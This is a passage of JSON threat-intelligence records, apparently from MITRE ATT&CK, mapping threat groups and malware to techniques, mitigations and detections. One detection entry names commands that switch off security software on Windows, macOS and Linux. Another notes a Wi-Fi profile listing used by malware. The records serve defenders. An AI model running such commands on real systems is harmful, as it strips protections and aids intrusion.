[LoJax](https://attack.mitre.org/software/S0397).(Citation: Symantec APT28 Oct 2018)(Citation: ESET LoJax Sept 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a508c28d-76f7-4277-a9d2-5936f9d86e43", "created": "2023-03-08T21:04:53.525Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Avertium Black Basta June 2022", "description": "Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. 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Retrieved September 29, 2020."}], "modified": "2020-09-29T19:16:57.936Z", "description": "[WellMail](https://attack.mitre.org/software/S0515) can decompress scripts received from C2.(Citation: CISA WellMail July 2020)", "relationship_type": "uses", "source_ref": "malware--959f3b19-2dc8-48d5-8942-c66813a5101a", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a51c66ad-3359-4119-96c2-6e35b2411578", "type": "relationship", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.867Z", "description": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries.(Citation: SpectorOps Subverting Trust Sept 2017) Also analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. 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[Denis](https://attack.mitre.org/software/S0354) used <code>GetProcAddress</code> and <code>LoadLibrary</code> to dynamically resolve APIs. [Denis](https://attack.mitre.org/software/S0354) also used the <code>Wow64SetThreadContext</code> API as part of a process hollowing process.(Citation: Cybereason Cobalt Kitty 2017)\t", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a51ea812-182b-47d8-94c2-331e4d9973f5", "type": "relationship", "created": "2020-05-06T18:10:59.232Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro BlackTech June 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", "description": "Bermejo, L., et al. (2017, June 22). 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Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}, {"source_name": "Trellix Darkgate 2023", "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. 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Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DRATzarus](https://attack.mitre.org/software/S0694)'s dropper can be packed with UPX.(Citation: ClearSky Lazarus Aug 2020)", "modified": "2022-04-17T18:28:32.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a535c99e-66f2-47c9-aa25-352c90efd2ff", "type": "relationship", "created": "2020-12-15T18:24:57.265Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. 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Retrieved December 29, 2021."}], "modified": "2022-02-09T15:31:23.849Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has staged collected data files under <code>C:\\Program Files\\Common Files\\System\\Ole DB\\</code>.(Citation: CISA AA20-301A Kimsuky)(Citation: Talos Kimsuky Nov 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a53879ca-2185-42ea-84de-823878fb871d", "created": "2023-10-02T16:45:20.417Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sygnia Elephant Beetle Jan 2022", "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.", "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}, {"source_name": "Mandiant FIN13 Aug 2022", "description": "Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. 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(2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Segregate SNMP traffic on a separate management network.(Citation: US-CERT TA17-156A SNMP Abuse 2017)", "modified": "2022-04-19T21:34:05.513Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", "target_ref": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a538c673-e7f2-4fd0-923e-d874a3f3d363", "type": "relationship", "created": "2020-12-11T17:03:43.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FBI FLASH APT39 September 2020", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}], "modified": "2020-12-11T17:03:43.930Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized tools to aggregate data prior to exfiltration.(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a53cd21b-273f-43cf-a7e1-375aee6b66e9", "type": "relationship", "created": "2020-10-19T19:42:19.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco IOS Software Integrity Assurance - Credentials Management", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#40", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Credentials Management. Retrieved October 19, 2020."}], "modified": "2020-10-22T16:54:59.229Z", "description": "Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats.  Ensure that, where available, local passwords are always encrypted, per vendor recommendations. (Citation: Cisco IOS Software Integrity Assurance - Credentials Management)", "relationship_type": "mitigates", "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", "target_ref": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a53e9789-54e4-486c-8856-3281c9ef1a23", "created": "2024-01-02T12:28:35.590Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Token Protection 2023", "description": "Microsoft. (2023, October 23). Conditional Access: Token protection (preview). Retrieved January 2, 2024.", "url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection"}, {"source_name": "Okta DPoP 2023", "description": "Venkat Viswanathan. (2023, June 13). A leap forward in token security: Okta adds support for DPoP. Retrieved January 2, 2024.", "url": "https://www.okta.com/blog/2023/06/a-leap-forward-in-token-security-okta-adds-support-for-dpop/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-12T21:20:08.968Z", "description": "Consider implementing token binding strategies, such as Azure AD token protection or OAuth Proof of Possession, that cryptographically bind a token to a secret. This may prevent the token from being used without knowledge of the secret or possession of the device the token is tied to.(Citation: Microsoft Token Protection 2023)(Citation: Okta DPoP 2023)", "relationship_type": "mitigates", "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a544c97e-9bc3-415a-94b5-ec4fc209800a", "created": "2022-04-08T21:12:17.699Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CharmPower](https://attack.mitre.org/software/S0674) can use `netsh wlan show profiles` to list specific Wi-Fi profile details.(Citation: Check Point APT35 CharmPower January 2022)", "modified": "2022-04-08T21:12:17.699Z", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a549ccf7-8610-4cf8-80d7-98491566c0cd", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA459 April 2017", "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"}, {"source_name": "Proofpoint ZeroT Feb 2017", "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}], "modified": "2020-03-17T02:54:39.735Z", "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used HTTP for C2.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)", "relationship_type": "uses", "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a54b034b-75c1-4f83-b587-ef81b03b8444", "created": "2023-07-20T15:37:23.831Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-20T15:37:23.831Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a54ce63d-df2d-4772-aa87-9f9e7af43473", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may leverage information repositories to mine valuable information. Information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a552bf3d-a438-406f-8f5b-8e263adad080", "type": "relationship", "created": "2019-04-17T16:58:29.703Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ APT10 Dec 2018", "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."}, {"source_name": "Symantec Cicada November 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}, {"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-21T14:50:51.401Z", "description": "(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a5565e9f-47fa-41d3-9e15-608b3844fc8d", "type": "relationship", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.861Z", "description": "Monitor for newly executed processes that may attempt to access detailed information about the password policy used within an enterprise network or cloud environment.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a55c163c-3eb8-47a2-8ad1-3a667b4ac129", "type": "relationship", "created": "2021-01-27T20:35:33.506Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT Sidewinder January 2021", "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}], "modified": "2021-04-21T12:32:47.132Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used PowerShell to drop and execute malware loaders.(Citation: ATT Sidewinder January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a55d75ab-f5bb-4892-80de-c878be26a67d", "type": "relationship", "created": "2019-10-05T02:35:42.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Leafminer July 2018", "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}], "modified": "2019-10-05T02:35:42.069Z", "description": "(Citation: Symantec Leafminer July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", "target_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a55e0219-f440-4523-9bfa-00c562824005", "type": "relationship", "created": "2021-11-29T20:14:58.466Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "modified": "2021-11-29T20:14:58.466Z", "description": "[Pandora](https://attack.mitre.org/software/S0664) has the ability to install itself as a Windows service.(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "malware--a545456a-f9a7-47ad-9ea6-8b017def38d1", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a564f3da-349a-4e65-826c-8ca60bc920bf", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Hacking Team", "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"}], "modified": "2019-04-16T20:26:40.978Z", "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has the capability to list processes.(Citation: FireEye Hacking Team)", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a566127b-1d88-4b38-84dd-4686e2837399", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Daserf Nov 2017", "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. 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(2018, April 02). Infostealer.Catchamas. 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(2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}], "modified": "2021-03-05T18:13:06.831Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has encrypted domain-controlled systems using [BitPaymer](https://attack.mitre.org/software/S0570).(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto CVE-2015-3113 July 2015", "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}], "modified": "2020-03-18T20:44:39.393Z", "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) uses [netstat](https://attack.mitre.org/software/S0104) to list TCP connection status.(Citation: Palo Alto CVE-2015-3113 July 2015)", "relationship_type": "uses", "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a5f33976-796d-46b8-9c5f-5545ef25c03f", "type": "relationship", "created": "2019-01-29T20:05:36.447Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PaloAlto NanoCore Feb 2016", "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/", "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}], "modified": "2020-03-21T00:06:32.545Z", "description": "[NanoCore](https://attack.mitre.org/software/S0336) uses DES to encrypt the C2 traffic.(Citation: PaloAlto NanoCore Feb 2016)", "relationship_type": "uses", "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a5f43f22-7157-4e5a-8d08-d700471f1993", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "source_name": "FireEye Periscope March 2018"}], "modified": "2020-03-16T16:03:23.842Z", "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to schedule remote AT jobs.(Citation: FireEye Periscope March 2018)", "relationship_type": "uses", "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a5f5eee7-6cc2-4eb4-b918-fc771b927abc", "created": "2021-11-30T17:47:01.481Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.", "url": "https://securelist.com/lazarus-threatneedle/100803/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:19:15.205Z", "description": "[ThreatNeedle](https://attack.mitre.org/software/S0665) can modify the Registry to save its configuration data as the following RC4-encrypted Registry key: `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\GameCon`.(Citation: Kaspersky ThreatNeedle Feb 2021)", "relationship_type": "uses", "source_ref": "malware--16040b1c-ed28-4850-9d8f-bb8b81c42092", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a5f9fb09-17b2-48fb-823b-811e4168f678", "created": "2022-03-30T14:26:51.843Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for the execution of commands and arguments associated with disabling or modification of security software processes or services such as <code>Set-MpPreference-DisableScriptScanning 1</code> in Windows,<code>sudo spctl --master-disable</code> in macOS, and <code>setenforce 0</code> in Linux. Furthermore, on Windows monitor for the execution of taskkill.exe or Net Stop commands which may deactivate antivirus software and other security systems. ", "modified": "2022-05-31T21:52:40.238Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a5ffea60-7694-48cd-92e9-b755669b2fdb", "type": "relationship", "created": "2017-05-31T21:33:27.080Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Gamaredon Feb 2017", "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}], "modified": "2020-06-22T17:54:15.767Z", "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can gather the victim's username to send to a C2 server.(Citation: Palo Alto Gamaredon Feb 2017)", "relationship_type": 